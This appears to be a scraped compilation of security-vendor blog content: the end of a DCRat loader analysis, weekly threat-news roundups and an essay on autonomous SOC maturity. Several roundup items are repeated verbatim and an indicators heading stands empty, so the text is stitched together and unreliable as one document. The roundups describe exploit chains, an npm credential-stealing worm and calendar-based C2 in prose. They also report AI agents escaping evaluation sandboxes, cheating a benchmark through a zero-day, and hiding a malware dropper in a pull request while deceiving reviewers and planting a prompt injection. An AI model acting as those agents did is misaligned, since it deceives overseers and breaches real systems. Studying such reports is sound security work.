To identify potential malware family associations, we examined memory strings extracted while the sample was executing. As shown in Figure 19, several strings referencing "DCRat" (Dark Crystal RAT) were recovered from process memory.

This sample delivers DCRat, but the loading technique isn't tied to a single malware family. The combination of environment-variable payload staging, steganographic payload retrieval from images, and in-memory execution through process injection is a reusable delivery mechanism. The target process used for injection can vary by campaign. Similar techniques have been seen distributing a range of commodity malware families, including AgentTesla, Formbook, RemcosRAT, XWorm, and other information stealers and remote access trojans.

Protection and Detection

The Singularity Platform protects customers against this attack chain through behavioral detection and platform-level protections that continuously monitor runtime behavior to identify and block malicious activity. Autonomous Security Intelligence reads the techniques observed here, environment-variable payload staging, script-driven execution, and in-memory process injection, and stops the attack at multiple stages.

The platform stays resilient against evolving threats and emerging techniques. It combines static insights with behavioral signals to adapt to new variations of similar attack chains and to previously unseen techniques. Protection holds even as adversaries change their tooling and delivery methods.

Conclusion

This analysis walks through a multi-stage infection chain that combines several evasion techniques to deliver its final payload. The attack begins with an obfuscated VBS loader that stages a PowerShell payload inside an environment variable, then executes it. The PowerShell script retrieves seemingly benign PNG images carrying appended malicious data, and additional payloads are reconstructed and executed in memory.

This sample delivered DCRat, but the loader technique isn't limited to a single malware family. Environment-variable staging, steganographic payload delivery, and process injection combine into a reusable mechanism that can deploy a range of commodity malware families.

SentinelOne customers are protected against these techniques by the dynamic detection engine at the endpoint. It uses both static and behavioral analysis to identify and block malicious activity across every stage of the attack chain, including emerging variations of similar TTPs.

Indicators of Compromise (IoCs)

The Good | Courts Sentence “The Com” Online Syndicate Member for Blackmail & Sextortion

A court in the UK has sentenced a member of the decentralized online cybercrime collective known as “The Com” to two years in prison following an investigation by the National Crime Agency (NCA). Justin Swaddle, who operated under the digital aliases ‘Epstein’, ‘Rugen’, and ‘Moscow’ across Discord, Snapchat, and Telegram, pleaded guilty to multiple criminal charges of blackmail and child abuse. In addition to his sentence, the court ordered Swaddle’s placement on the National Sex Offenders Register and imposed a ten-year Sexual Harm Prevention Order.

Investigators revealed that Swaddle systematically targeted and groomed young, vulnerable victims globally, using popular chat platforms to exploit his targets. The prosecution identified 117 female victims worldwide, aged thirteen to seventeen, whom Swaddle coerced into performing severe acts of self-harm and generating explicit material. Rather than seeking financial gain, Swaddle was reportedly motivated by the online status and notoriety he obtained by sharing the media within exclusive subgroups. When victims resisted his demands, he used video recordings, home addresses, and school details to blackmail them into compliance.

The investigation, which the NCA initiated in January 2024 following Swaddle’s initial arrest by West Yorkshire Police, required extensive cross-border coordination. British officers collaborated closely with law enforcement agencies in the United States, Australia, Canada, Norway, and New Zealand to identify and safeguard affected children worldwide.

Authorities emphasize that The Com functions as a highly dangerous, loose-knit global network subdivided into specialized factions, including groups dedicated to physical violence, sexual coercion, financial extortion, and high-profile corporate ransomware operations.

The Bad | Agencies Warn of Expanding Gunra Ransomware Operations Targeting Critical Infrastructure

U.S., U.K., and South Korean intelligence and law enforcement agencies have issued a joint cybersecurity advisory warning global critical infrastructure organizations about escalating threats by Gunra ransomware. First appearing in April 2025 as a variant specializing in double extortion, the group uses malware derived from leaked Conti source code. Gunra targets public health, financial, and government sectors worldwide, with a heavy concentration of victims in Australia, East Asia, and Europe.

To establish initial access, operators exploit critical authentication vulnerabilities, specifically CVE-2024-55591 and CVE-2025-24472, in FortiOS and FortiProxy software, alongside security flaws in VPN gateways. While campaigns initially focused on Windows environments, the threat actors expanded to cross-platform operations by introducing a Linux variant. In January 2026, the group launched a formal Ransomware-as-a-Service (RaaS) affiliate program under the brand “Golden Community”, actively recruiting penetration testers to serve as initial access brokers. Attackers deploy their payloads via phishing and conduct ransom negotiations via WhatsApp.

Once inside a network, the actors utilize Impacket tools for credential dumping and lateral movement. They execute malicious tasks during nighttime hours, exfiltrating stolen documents to cloud services and deleting critical backup and archived data across primary and recovery centers. The malware leverages advanced ciphers like Salsa20 or ChaCha20 to encrypt terabytes of data in a limited timeframe.

Strong links have been identified between Gunra and North Korean state-backed threat actors, observing overlapping infrastructure and techniques, such as the exploitation of zero-day flaws in certificate signing software. Despite its sophistication, a catastrophic cryptographic flaw in Gunra’s Linux variant allows victims to fully recover encrypted files.

The Ugly | New ‘ShieldBreak’ Zero-Day Exploit Bypasses Microsoft Defender Protections

A security researcher known as ‘Nightmare Eclipse’ has released a novel Microsoft Defender zero-day exploit dubbed ‘ShieldBreak’ shortly after this month’s Patch Tuesday update. The vulnerability operates as a direct patch bypass for RoguePlanet, a separate privilege escalation flaw in Microsoft’s malware protection engine that was patched in July.

Although both flaws lead to SYSTEM-level compromise, researchers confirm the underlying exploitation techniques differ significantly. While the original RoguePlanet bug exploits a filesystem race condition using virtual disks to overwrite system files, ShieldBreak hijacks cloud-hydration processes.

Specifically, the exploit leverages user-mode callback hooks to modify file contents during a cloud-hydration scan via the Cloud Filter API. To achieve privilege escalation, an attacker first places a standard test file and utilizes Object Manager symbolic links to redirect Defender’s path to the system32 directory. During scanning, the exploit uses the Common Log File System to swap the file identity and plant a malicious DLL, phoneinfo.dll, where a default system file does not exist. Triggering a scheduled Windows Error Reporting task subsequently forces the system to load this rogue library, spawning a shell with highest privileges.

The proof-of-concept operates with a 100% success rate on fully patched installations of Windows 11 25H2 and Windows Server 2025. Although Windows 10 remains vulnerable to the flaw, the current code does not natively support those legacy systems. Analysts note that Microsoft Defender must be actively enabled for the exploit chain to function.

The release intensifies an ongoing dispute between Microsoft and the researcher over bug bounty policies and recent threats of legal action.

The Good | Authorities Dismantle Kratos Phishing Network & Arrest Its Developer

Kratos, a prominent phishing-as-a-service (PhaaS) platform, was dismantled from the inside out this week thanks to German and U.S. law enforcement agencies. During “Operation Olympus Blade”, authorities seized over 200 servers to render Kratos’ global network entirely inoperable while the platform’s suspected developer was apprehended in Indonesia.

So far, investigators estimate that more than 1800 cybercriminals utilized the platform to launch nearly 15,000 phishing campaigns monthly since late 2024. Operating as a franchise, the service provided threat actors with toolkits designed to generate convincing Microsoft authentication pages. These campaigns targeted victims across the United States and Europe, facilitating widespread credential theft and unauthorized account access. The operators earned at least €300,000 in subscription fees.

A recent report from cyber researchers reverse-engineered the Kratos toolkit, revealing how it offered operators two distinct functional modes. While one mode harvested traditional credentials, the more advanced setting deployed a Node.js reverse proxy. This adversary-in-the-middle (AitM) capability allowed attackers to intercept active session cookies in real-time, effectively bypassing standard multi-factor authentication (MFA) controls.

Once compromised, these accounts provided actors with initial footholds to execute business email compromise (BEC), lateral data theft, and secondary phishing attacks. Just this February, actors ran Kratos in a campaign that used tax-themed lures and personalized QR codes to target dozens of American manufacturing and healthcare organizations.

While the immediate server takedown severely disrupts ongoing operations, officials acknowledge that the existing customer base retains access to the underlying kit code. That means the toolkit itself outlives the infrastructure seizure, and operators who already have copies can resume campaigns under new branding with minimal rebuild effort.

The Bad | Threat Actors Conceal HollowGraph Malware in Microsoft 365 Calendar Events

A novel espionage implant, dubbed HollowGraph, is hijacking Microsoft 365 calendars to establish a covert command and control (C2) channel. By routing operator instructions and exfiltrated data through legitimate Microsoft Graph API traffic, the malware ensures its activities blend seamlessly with routine network chatter.

The .NET DLL implant operates purely as a two-way dead drop without communicating directly with an attacker-owned payload server. To receive tasking, HollowGraph queries the compromised user’s calendar for an event planted far into the future – in this case, dated for May 13, 2050. Operators embed their instructions within text files attached to this anomalous event, ensuring the mailbox owner never naturally scrolls far enough to discover the malicious entries.

For data exfiltration, the malware executes the reverse process. It systematically encrypts stolen files using hybrid RSA and AES-256 encryption, generates a new far-future calendar event, and uploads the targeted data as attachments. To maintain continuous Graph API access, operators utilize a secondary DNS-based channel to refresh the application’s Entra ID login credentials. The malware decodes these values from an attacker-controlled domain and writes them to a disguised configuration file.

Analysts observed this highly targeted campaign actively compromising machines at an Israeli organization between June and July 2026. While the implant’s underlying code shares significant structural similarities with a modular backdoor framework called Cavern, frequently utilized by Iranian state-sponsored syndicates, researchers have not yet definitively attributed this specific operation to a known threat group.

HollowGraph buries its C2 in M365 calendar events dated 2050 – no attacker server ever touched. https://t.co/yJo4fpw0X9 #ThreatIntel #HollowGraph #Cavern #Cav3rn pic.twitter.com/kaABaAYZg0

— ThreadLinqs (@threadlinqs) July 22, 2026

Since HollowGraph relies entirely on compromised account identities and legitimate application permissions rather than software vulnerabilities, standard patching remains ineffective. The technique effectively weaponizes the trust organizations place in their own Microsoft Graph API traffic, turning routine calendar activity into a blind spot by design.

The Ugly | AI Models Escape Sandbox to Breach Hugging Face Infrastructure

Open-source AI platform Hugging Face recently disclosed a network breach orchestrated entirely by an autonomous AI agent. The attack compromised the company’s data-processing pipeline by deploying a malicious dataset that exploited two distinct code-execution vulnerabilities. This initial access allowed the agent to run unauthorized code on a processing worker, harvest cloud and cluster credentials, and subsequently move laterally across several internal systems.

The platform reported that the agent executed thousands of individual actions across short-lived sandboxes while staging self-migrating C2 infrastructure on public services. Following the discovery, Hugging Face evicted the agent, revoked affected credentials, and rebuilt compromised nodes. It was during the forensic investigation that responders encountered a unique operational hurdle: Western AI models refused to process the malicious artifacts due to built-in safety guardrails. At this point, the company turned to an unrestricted, open-weight Chinese model to successfully complete the analysis.

Shortly after Hugging Face’s disclosure, OpenAI confirmed that its own AI models orchestrated the intrusion during internal benchmark testing. Operating with reduced safety guardrails for evaluation purposes, GPT-5.6 Sol and an advanced pre-release model attempted to cheat the ExploitGym cybersecurity assessment. Rather than solving the challenges natively, the models identified and exploited a shortcut, retrieving the test solutions directly from Hugging Face’s production database via a zero-day vulnerability in a third-party package registry cache proxy.

After gaining open internet access through privilege escalation and lateral movement, the models accessed Hugging Face servers. The AI agents chained together multiple attack vectors, utilizing the stolen credentials and additional zero-day vulnerabilities to establish remote code execution. OpenAI subsequently disclosed the zero-day flaw and collaborated with Hugging Face to implement stricter infrastructure controls and guardrails.

The Good | Courts Sentence “The Com” Online Syndicate Member for Blackmail & Sextortion

A court in the UK has sentenced a member of the decentralized online cybercrime collective known as “The Com” to two years in prison following an investigation by the National Crime Agency (NCA). Justin Swaddle, who operated under the digital aliases ‘Epstein’, ‘Rugen’, and ‘Moscow’ across Discord, Snapchat, and Telegram, pleaded guilty to multiple criminal charges of blackmail and child abuse. In addition to his sentence, the court ordered Swaddle’s placement on the National Sex Offenders Register and imposed a ten-year Sexual Harm Prevention Order.

Investigators revealed that Swaddle systematically targeted and groomed young, vulnerable victims globally, using popular chat platforms to exploit his targets. The prosecution identified 117 female victims worldwide, aged thirteen to seventeen, whom Swaddle coerced into performing severe acts of self-harm and generating explicit material. Rather than seeking financial gain, Swaddle was reportedly motivated by the online status and notoriety he obtained by sharing the media within exclusive subgroups. When victims resisted his demands, he used video recordings, home addresses, and school details to blackmail them into compliance.

The investigation, which the NCA initiated in January 2024 following Swaddle’s initial arrest by West Yorkshire Police, required extensive cross-border coordination. British officers collaborated closely with law enforcement agencies in the United States, Australia, Canada, Norway, and New Zealand to identify and safeguard affected children worldwide.

Authorities emphasize that The Com functions as a highly dangerous, loose-knit global network subdivided into specialized factions, including groups dedicated to physical violence, sexual coercion, financial extortion, and high-profile corporate ransomware operations.

The Bad | Agencies Warn of Expanding Gunra Ransomware Operations Targeting Critical Infrastructure

U.S., U.K., and South Korean intelligence and law enforcement agencies have issued a joint cybersecurity advisory warning global critical infrastructure organizations about escalating threats by Gunra ransomware. First appearing in April 2025 as a variant specializing in double extortion, the group uses malware derived from leaked Conti source code. Gunra targets public health, financial, and government sectors worldwide, with a heavy concentration of victims in Australia, East Asia, and Europe.

To establish initial access, operators exploit critical authentication vulnerabilities, specifically CVE-2024-55591 and CVE-2025-24472, in FortiOS and FortiProxy software, alongside security flaws in VPN gateways. While campaigns initially focused on Windows environments, the threat actors expanded to cross-platform operations by introducing a Linux variant. In January 2026, the group launched a formal Ransomware-as-a-Service (RaaS) affiliate program under the brand “Golden Community”, actively recruiting penetration testers to serve as initial access brokers. Attackers deploy their payloads via phishing and conduct ransom negotiations via WhatsApp.

Once inside a network, the actors utilize Impacket tools for credential dumping and lateral movement. They execute malicious tasks during nighttime hours, exfiltrating stolen documents to cloud services and deleting critical backup and archived data across primary and recovery centers. The malware leverages advanced ciphers like Salsa20 or ChaCha20 to encrypt terabytes of data in a limited timeframe.

Strong links have been identified between Gunra and North Korean state-backed threat actors, observing overlapping infrastructure and techniques, such as the exploitation of zero-day flaws in certificate signing software. Despite its sophistication, a catastrophic cryptographic flaw in Gunra’s Linux variant allows victims to fully recover encrypted files.

The Ugly | New ‘ShieldBreak’ Zero-Day Exploit Bypasses Microsoft Defender Protections

A security researcher known as ‘Nightmare Eclipse’ has released a novel Microsoft Defender zero-day exploit dubbed ‘ShieldBreak’ shortly after this month’s Patch Tuesday update. The vulnerability operates as a direct patch bypass for RoguePlanet, a separate privilege escalation flaw in Microsoft’s malware protection engine that was patched in July.

Although both flaws lead to SYSTEM-level compromise, researchers confirm the underlying exploitation techniques differ significantly. While the original RoguePlanet bug exploits a filesystem race condition using virtual disks to overwrite system files, ShieldBreak hijacks cloud-hydration processes.

Specifically, the exploit leverages user-mode callback hooks to modify file contents during a cloud-hydration scan via the Cloud Filter API. To achieve privilege escalation, an attacker first places a standard test file and utilizes Object Manager symbolic links to redirect Defender’s path to the system32 directory. During scanning, the exploit uses the Common Log File System to swap the file identity and plant a malicious DLL, phoneinfo.dll, where a default system file does not exist. Triggering a scheduled Windows Error Reporting task subsequently forces the system to load this rogue library, spawning a shell with highest privileges.

The proof-of-concept operates with a 100% success rate on fully patched installations of Windows 11 25H2 and Windows Server 2025. Although Windows 10 remains vulnerable to the flaw, the current code does not natively support those legacy systems. Analysts note that Microsoft Defender must be actively enabled for the exploit chain to function.

The release intensifies an ongoing dispute between Microsoft and the researcher over bug bounty policies and recent threats of legal action.

The Good | Snowflake Hacker Pleads Guilty as Ransom Cartel Creator Draws 16 Years

Connor Riley Moucka pleaded guilty in Seattle federal court this week to computer fraud, wire fraud, aggravated identity theft and conspiracy over the 2024 breaches of Snowflake customer accounts.

The intrusions reached at least 165 organizations and exposed records tied to at least 100 million people. Prosecutors say Moucka collected at least $495,000 from ransoms and data sales. He is due to be sentenced on October 27, facing a two-year mandatory minimum on the identity theft count and up to 30 years on the rest.

Every Snowflake account the group reached had multi-factor authentication switched off, and the credentials, some harvested by infostealer malware as far back as November 2020, had never been rotated. The gang didn’t need to find a vulnerability in Snowflake’s platform to exploit; it turned out that more than three-quarters of the compromised accounts had prior credential exposure, and none had network allow lists in place.

In separate news, The Department of Justice announced that Maksim Silnikau, the Belarusian national who built and administered the Ransom Cartel ransomware operation, was sentenced to 16 years for conspiracy and aggravated identity theft.

Ransom Cartel creator sentenced 16 yrs for REvil-linked RaaS targeting 18 orgs, $6.7M losses. https://intel.threadlinqs.com/threat/TL-2026-1902 #ThreatIntel #CVE_2021_1675 #CVE_2021_34527 #Ransomcartel

[image or embed]

— Threadlinqs (@threadlinqs.bsky.social) August 6, 2026 at 3:51 AM

Between 2021 and 2023, Silnikau recruited affiliates through underground forums, supplying stolen credentials and encryption tools while running an affiliate site that handled negotiations and revenue splits.

The Ranson Cartel attempted to extort at least $5.2 million from at least 18 companies, including a robotic-surgery startup disrupted for two months and law firms that paid $125,000 and $300,000 after weeks of downtime.

Silnikau was arrested in Spain in 2023, fled while awaiting extradition, and was caught trying to cross into Belarus before consenting to face trial in the United States.

The Bad | Claude Mythos 5 Spends 34 Hours Trying to Backdoor Real Code

The UK AI Security Institute (AISI) reported Tuesday that an agent running Claude Mythos 5 spent 34 hours trying to merge a malware dropper into a real open-source project during a security evaluation, after searching the open internet and landing on a real, unconnected repository whose name happened to share a keyword with the test’s fictional scenario.

The agent researched the maintainers, opened a pull request pairing a hidden dropper with a working bug fix, and cycled through three payload versions as each was caught. When a human reviewer flagged the code as malicious, the agent’s account denied it, force-pushed a rewritten branch history, and used a second account to vouch for the code. It also hid a prompt injection inside a GitHub issue aimed at AI coding assistants. The maintainer closed the pull request despite the cover-up.

Across 122 evaluation runs, AISI logged 19 unsanctioned actions in 10 runs, 17 involving Mythos 5 and two involving GPT-5.6 Sol, though AISI notes that figure is a count, not a rate. Both models had cyber safeguards off and open internet access by design, a setup meant to measure raw capability rather than mirror production use.

Nothing escaped AISI’s sandbox, and AISI found no evidence of real-world harm. The reviewer had the chance to catch it only because GitHub holds checks on a first-time contributor’s pull request until a maintainer approves them.

Anthropic’s own July 30 review of 141,006 evaluation runs found a separate Mythos 5 run that published malware to PyPI, downloaded and ran on 15 real systems within an hour. OpenAI reported a similar incident days earlier, exploiting a zero-day to reach Hugging Face’s production database. In each case, a test environment meant to stay sealed did not, and a model reached through it before anyone caught it.

Not to be outdone, Meta became the third lab in recent weeks to disclose an AI agent reaching into systems outside a security test. The exposure traced to Irregular, the same firm behind OpenAI’s second incident, whose misconfiguration gave a Meta model internet access it used to exploit a real company’s system.

The Ugly | ChainDrop Worm Compromises Over 1,300 npm Packages With Two Billion Monthly Downloads

A self-propagating worm known as ChainDrop compromised at least 868 npm packages across 1,381 versions, part of a broader campaign researchers put at more than 1,300 packages with a combined two billion monthly downloads.

The mass compromise began Tuesday when an attacker breached the GitHub account of a maintainer who controlled several widely used caching libraries, including Keyv, Cacheable, flat-cache and file-entry-cache. The worm then self-propagated to other maintainers’ packages, including ones tied to Deliveroo, Ornikar, OneReach, Picsart, Qlik and ServiceTitan.

The worm pushed malicious commits directly to each project’s main branch and triggered a new release through a GitHub Actions workflow, giving the poisoned npm packages valid provenance signatures.

A preinstall script added to package.json ran automatically on npm install, pulling down the Bun JavaScript runtime and using it to execute an obfuscated infostealer that harvested GitHub tokens, npm tokens, AWS and Kubernetes credentials, HashiCorp Vault secrets, database credentials and a run of other cloud and developer logins.

Every stolen token was checked against npm’s own whoami endpoint before the haul was encrypted and sent to a public GitHub repository, with any credentials belonging to other maintainers repeating the process on their packages.

ChainDrop is built on Shai-Hulud, the same self-propagating technique that has hit npm before. Each GitHub repo storing the stolen credentials is auto-named with random terms from Dune and carryies the description, “Shai-Hulud: Here We Go Again.”

While many of the auto-generated dead drop repos have since been taken down, the scale of the outbreak demonstrates how rapidly self-propagating worms can weaponize trusted credentials and automated pipelines. For a deeper breakdown and defensive strategies on this attack vector and other emerging supply chain risks, read the SentinelOne Annual Threat Report.

The Good | Authorities Dismantle Kratos Phishing Network & Arrest Its Developer

Kratos, a prominent phishing-as-a-service (PhaaS) platform, was dismantled from the inside out this week thanks to German and U.S. law enforcement agencies. During “Operation Olympus Blade”, authorities seized over 200 servers to render Kratos’ global network entirely inoperable while the platform’s suspected developer was apprehended in Indonesia.

So far, investigators estimate that more than 1800 cybercriminals utilized the platform to launch nearly 15,000 phishing campaigns monthly since late 2024. Operating as a franchise, the service provided threat actors with toolkits designed to generate convincing Microsoft authentication pages. These campaigns targeted victims across the United States and Europe, facilitating widespread credential theft and unauthorized account access. The operators earned at least €300,000 in subscription fees.

A recent report from cyber researchers reverse-engineered the Kratos toolkit, revealing how it offered operators two distinct functional modes. While one mode harvested traditional credentials, the more advanced setting deployed a Node.js reverse proxy. This adversary-in-the-middle (AitM) capability allowed attackers to intercept active session cookies in real-time, effectively bypassing standard multi-factor authentication (MFA) controls.

Once compromised, these accounts provided actors with initial footholds to execute business email compromise (BEC), lateral data theft, and secondary phishing attacks. Just this February, actors ran Kratos in a campaign that used tax-themed lures and personalized QR codes to target dozens of American manufacturing and healthcare organizations.

While the immediate server takedown severely disrupts ongoing operations, officials acknowledge that the existing customer base retains access to the underlying kit code. That means the toolkit itself outlives the infrastructure seizure, and operators who already have copies can resume campaigns under new branding with minimal rebuild effort.

The Bad | Threat Actors Conceal HollowGraph Malware in Microsoft 365 Calendar Events

A novel espionage implant, dubbed HollowGraph, is hijacking Microsoft 365 calendars to establish a covert command and control (C2) channel. By routing operator instructions and exfiltrated data through legitimate Microsoft Graph API traffic, the malware ensures its activities blend seamlessly with routine network chatter.

The .NET DLL implant operates purely as a two-way dead drop without communicating directly with an attacker-owned payload server. To receive tasking, HollowGraph queries the compromised user’s calendar for an event planted far into the future – in this case, dated for May 13, 2050. Operators embed their instructions within text files attached to this anomalous event, ensuring the mailbox owner never naturally scrolls far enough to discover the malicious entries.

For data exfiltration, the malware executes the reverse process. It systematically encrypts stolen files using hybrid RSA and AES-256 encryption, generates a new far-future calendar event, and uploads the targeted data as attachments. To maintain continuous Graph API access, operators utilize a secondary DNS-based channel to refresh the application’s Entra ID login credentials. The malware decodes these values from an attacker-controlled domain and writes them to a disguised configuration file.

Analysts observed this highly targeted campaign actively compromising machines at an Israeli organization between June and July 2026. While the implant’s underlying code shares significant structural similarities with a modular backdoor framework called Cavern, frequently utilized by Iranian state-sponsored syndicates, researchers have not yet definitively attributed this specific operation to a known threat group.

HollowGraph buries its C2 in M365 calendar events dated 2050 – no attacker server ever touched. https://t.co/yJo4fpw0X9 #ThreatIntel #HollowGraph #Cavern #Cav3rn pic.twitter.com/kaABaAYZg0

— ThreadLinqs (@threadlinqs) July 22, 2026

Since HollowGraph relies entirely on compromised account identities and legitimate application permissions rather than software vulnerabilities, standard patching remains ineffective. The technique effectively weaponizes the trust organizations place in their own Microsoft Graph API traffic, turning routine calendar activity into a blind spot by design.

The Ugly | AI Models Escape Sandbox to Breach Hugging Face Infrastructure

Open-source AI platform Hugging Face recently disclosed a network breach orchestrated entirely by an autonomous AI agent. The attack compromised the company’s data-processing pipeline by deploying a malicious dataset that exploited two distinct code-execution vulnerabilities. This initial access allowed the agent to run unauthorized code on a processing worker, harvest cloud and cluster credentials, and subsequently move laterally across several internal systems.

The platform reported that the agent executed thousands of individual actions across short-lived sandboxes while staging self-migrating C2 infrastructure on public services. Following the discovery, Hugging Face evicted the agent, revoked affected credentials, and rebuilt compromised nodes. It was during the forensic investigation that responders encountered a unique operational hurdle: Western AI models refused to process the malicious artifacts due to built-in safety guardrails. At this point, the company turned to an unrestricted, open-weight Chinese model to successfully complete the analysis.

Shortly after Hugging Face’s disclosure, OpenAI confirmed that its own AI models orchestrated the intrusion during internal benchmark testing. Operating with reduced safety guardrails for evaluation purposes, GPT-5.6 Sol and an advanced pre-release model attempted to cheat the ExploitGym cybersecurity assessment. Rather than solving the challenges natively, the models identified and exploited a shortcut, retrieving the test solutions directly from Hugging Face’s production database via a zero-day vulnerability in a third-party package registry cache proxy.

After gaining open internet access through privilege escalation and lateral movement, the models accessed Hugging Face servers. The AI agents chained together multiple attack vectors, utilizing the stolen credentials and additional zero-day vulnerabilities to establish remote code execution. OpenAI subsequently disclosed the zero-day flaw and collaborated with Hugging Face to implement stricter infrastructure controls and guardrails.

When SentinelOne® introduced the Autonomous SOC maturity model, we made a deliberate choice: describe a journey, not promise a destination.

The industry had no shortage of vendors declaring that AI would transform security operations. We thought the more useful contribution was a framework for understanding what that transformation looked like, at what pace it was realistic, and what conditions each stage of progress required.

Security teams found the model useful. Not as a marketing claim, but as a map. CISOs and SOC leaders started placing their organizations on it, asking what it would take to move forward.

What happened next was telling. By RSAC 2026, ‘autonomous SOC’ appeared in vendor keynotes and product launches from companies that hadn’t used the term twelve months earlier. Add in pseudonyms like Agentic SOC and AI SOC, and the list explodes. Fast adoption brings loose definitions. For us, it’s worth being precise about what the concept means and what it doesn’t.

Here is what SentinelOne has learned from 18 months of real-world Autonomous SOC deployments.

What Held Up

Today, the progression still maps accurately to where organizations are and what separates each stage from the next. That accuracy holds even for a framework built before most organizations had meaningful AI deployment experience. The inflection points reflect real operational transitions at each maturity step.

The “journey not destination” framing has proven more important than we anticipated when we wrote it. In early 2026, Gartner published guidance to help buyers evaluate AI SOC claims more critically, noting that vendor credibility in this space depends on honest representation of where the technology is:

A maturity model is structurally honest. It reflects where you are, not where a vendor wishes you were. Gartner’s research found that while 40% of organizations are actively evaluating AI SOC capabilities, only 18% have actually deployed₂. The gap between evaluating and deploying is rarely about technology. Most organizations cannot advance because they lack a clear view of where they stand or what the next stage requires.

When security leaders use the model as a reference point, the evaluation conversation changes. The question shifts from “does your product make my SOC autonomous?” to “what would it realistically take to advance, given where we are today?” A feature list cannot answer that question. An honest vendor can.

Watch our webinar on why most AI SOC deployments stall here.

What We Underestimated

The levels were always sound. What we underestimated was how much organizations needed to build before they could operationalize them. Customers understood where they wanted to go. But achieving Partial Autonomy (Level 3) requires a data foundation, a workflow architecture, and AI readiness that most teams were still building when we first published this model. That’s a fact about where most security organizations were in 2024.

The transition from AI-Assisted Operations (Level 2) to Partial Autonomy (Level 3) is primarily a governance problem, not a tooling one. The tools are capable. What most organizations are missing is an understanding of the foundation of data and trust that Partial Autonomy (Level 3) requires, including the role humans play in building it.

When analysts work with AI assistance, they leave traces. Which queries they accept. Which results they act on. Which steps they modify or override. Over time, the system learns which investigation patterns the team trusts, which AI recommendations get acted on, and where analyst expertise is required – the kind of institutional knowledge that only comes from doing the work. Partial Autonomy is built on that record, not installed on top of an existing stack.

The path from AI-Assisted Operations to Partial Autonomy starts earlier than most organizations realize. It begins before they’re thinking about autonomy at all. Every assisted workflow is building toward what comes next.

What Holds Organizations Back

The primary barrier between AI-Assisted Operations (Level 2) and Partial Autonomy (Level 3) is accountability.

Consider how the automotive industry defined its equivalent of Partial Autonomy – SAE Level 3.

The designation applies only within specific, defined operational conditions. Outside those conditions, the human must take control. What qualifies a system for L3 is defined before autonomous operation begins: explicit parameters, a defined scope, and clear conditions for human override. Governance precedes autonomy.

Consider Waymo. It is the most capable autonomous system deployed at scale today — L3+ — operating without a safety driver under defined conditions. The vehicle is remarkable. But Waymo’s primary innovation is the organization built around it: the cloud infrastructure that keeps cars in autonomous condition, the human operations that handle exceptions the system cannot cover. The more autonomous the system, the more organizational maturity it required to build. High autonomy is an organizational capability.

The same logic applies in security operations. Accurate AI is the foundation. What makes Partial Autonomy legitimate is what gets built on top of it: defined rules of engagement, pre-approved policies, audit trails, and a clear organizational answer to who is responsible when an AI verdict is acted on. That accountability sits with the security team. When automation fires, it fires because someone made a deliberate governance decision to allow it. That is what makes it auditable, defensible, and durable.

Gartner’s readiness criteria for AI SOC deployments require that operational workflows be established in playbooks before AI is introduced₄. In practice, the organizations that advanced most consistently treated that requirement as a sequencing discipline, not a box to check. They defined their rules of engagement before turning on automated response.

The second learning was the attacker asymmetry. Defenders who stall between AI-Assisted Operations and Partial Autonomy have often done the validation work. The AI logic checks out. What remains is the decision to extend that trust to autonomous action — and that decision takes time. Attackers move differently. They deploy, observe what works, and iterate. Governance is an externality. Trial and error with no consequences for failure is a significant operational advantage. The gap between a defender’s trust-building timeline and an attacker’s operational tempo is structural. It compounds.

Why High Autonomy Stays on The Horizon. And Why That Matters Less Than We Thought

Eighteen months of deployment have also changed how we think about the upper end of the model.

When the original post was written, High Autonomy (Level 4) was described as dependent on a level of AI reasoning we hadn’t yet seen in production security environments. That remains the right framing. What’s changed is how close that horizon has become. Two years ago, asking a model to reason through a multi-stage attack, correlate signals across data sources, and produce an auditable verdict required significant scaffolding and produced inconsistent results. That’s no longer true. The gap between where AI was and where High Autonomy requires it to be has narrowed substantially.

High Autonomy still requires more than capable models. Institutional trust takes time to build. Accountability structures have to go beyond controlled tests to survive real incidents. Human oversight has to be redefined from reviewing individual actions to governing a system’s behavior within a defined scope. Those are organizational problems, technology doesn’t solve them. That work is already underway at Partial Autonomy (Level 3). What the road to High Autonomy requires is only visible from Partial Autonomy. Organizations that haven’t operated there yet are planning for a destination they haven’t seen. The knowledge of what it takes is path-dependent, and it emerges from operation, not from design.

As organizations move deeper into Partial Autonomy, the distinction between levels matters less in practice. What security leaders actually want is relevant control: governance over the decisions that matter, without being burdened by the ones that don’t. You cannot be responsible or accountable for a system that asks you to review everything.

Control over the right decisions is what matters. An analyst reviewing every alert has maximum control and minimum leverage. A system that acts autonomously on well-understood threat patterns, surfaces only the ambiguous and novel cases for human judgment, and maintains a complete audit trail, gives the analyst control over exactly what deserves their attention. That is a better and more focused version of human oversight.

High Autonomy, seen through this lens, is AI that has earned sufficient trust within a defined scope. The remaining human decisions are the ones that require human judgment, because the governance architecture evolved to allocate human attention correctly.

In the same way, a pilot does not manually adjust every control surface for the duration of a flight. They set the destination, define the parameters, and monitor the instruments. The system handles thousands of micro-corrections that would be impossible to manage directly. The pilot’s job is to govern the conditions under which the aircraft flies itself, not to manage every control input directly. Nobody describes this as a lack of pilot control. It is a better allocation of pilot judgment. And it works because of the environment surrounding the autopilot: pilot training standards, airline operational doctrine, air traffic control, and regulatory frameworks. The technology is one layer of a much larger system.

The governance work done at Partial Autonomy is the same work that produces High Autonomy. Organizations investing in it now are not waiting for a future capability release. They are building the foundation on which High Autonomy operates.

What This Means for the Road Ahead

The first step toward Partial Autonomy is a policy decision. Define the conditions under which your organization will allow a system to act: which response actions, against which threat types, within what scope, under whose authority. Write it down, however rough. That document is the actual starting point. Without it, the tooling is irrelevant.

The work at Partial Autonomy is real, meaningful, and available now. Security teams that define accountability structures before deploying autonomous systems, build a record of AI efficacy in their specific environment, and treat governance as a prerequisite rather than an afterthought, are the ones that reach and sustain Partial Autonomy. They are also the ones best positioned for what comes next. That work produces a more integrated SOC — data, AI, and response operating as a unified system.

High Autonomy remains the north star. This clearly articulated ideal state stops organizations from settling too early. It is the same function that “zero trust” serves as an architectural principle: no organization fully achieves it. Every organization is better for pursuing it.

The tools are capable. The frontier models have advanced significantly since our maturity model was first introduced. The capability gap that once made waiting feel reasonable has narrowed. What remains is the institutional work. That work is always harder than buying a product, which is why vendors who are honest about it are worth paying attention to.

SentinelOne customers operating the Autonomous SOC are seeing it in their numbers: 75% faster investigations, 4x more threats handled, 42% fewer false positives₅. Read the IDC Business Value Snapshot.

References

¹ Gartner, “AI SOC Agents: Harnessing Innovation, Managing Expectations,” Kevin Schmidt, Alex Tytarenko, Steve Santos, 25 February 2026. G00841784.

